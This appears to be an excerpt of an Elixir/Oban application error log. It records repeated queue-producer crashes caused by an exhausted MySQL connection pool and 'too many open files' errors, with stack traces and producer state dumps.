dispatch_timer: #Reference<0.2525715032.1121189889.161219>, refresh_timer: #Reference<0.2525715032.1077673987.23994>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1065ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:09:10.238167Z], limit: 20, uuid: "090945b7-89cc-47a2-8041-ef7334b6be57", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.238175Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.48558>, refresh_timer: #Reference<0.2525715032.1099431938.48533>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:09:10.241443Z], limit: 50, uuid: "ad6a0f17-ece4-42e6-95b1-c3316be7c1f4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.241452Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161217>, refresh_timer: #Reference<0.2525715032.1121189889.161209>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:09:10.240995Z], limit: 5, uuid: "7f828e71-0841-4782-80af-8a3be44c7a15", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:10.241002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161220>, refresh_timer: #Reference<0.2525715032.1077673987.23998>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:23.192000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:23.219000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:24.750000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:27.163000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:28.686000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:29.633000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:33.881000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:34.549000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:09:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:09:22.242229Z], limit: 5, uuid: "1cd16ddc-a0db-4c2e-a965-36461271d7eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.242235Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161554>, refresh_timer: #Reference<0.2525715032.1068498948.48526>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:09:22.239532Z], limit: 20, uuid: "cdfe883b-6b32-419f-80a3-b7ee3a68070b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.239537Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.48527>, refresh_timer: #Reference<0.2525715032.1068498948.48489>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:35.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 802ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:09:22.239265Z], limit: 3, uuid: "3ca8e9e6-dfc6-403f-9b45-5587025847b1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.239271Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161555>, refresh_timer: #Reference<0.2525715032.1068498948.48475>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 889ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:09:22.239265Z], limit: 10, uuid: "8d8d1100-ab08-4bec-9926-1cd925cb16a4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.239271Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161552>, refresh_timer: #Reference<0.2525715032.1077673987.24134>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:09:22.239510Z], limit: 5, uuid: "70671fc9-6aef-437f-8ff2-9c9bf38d2a11", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:22.239515Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.161553>, refresh_timer: #Reference<0.2525715032.1077673987.24142>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:09:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
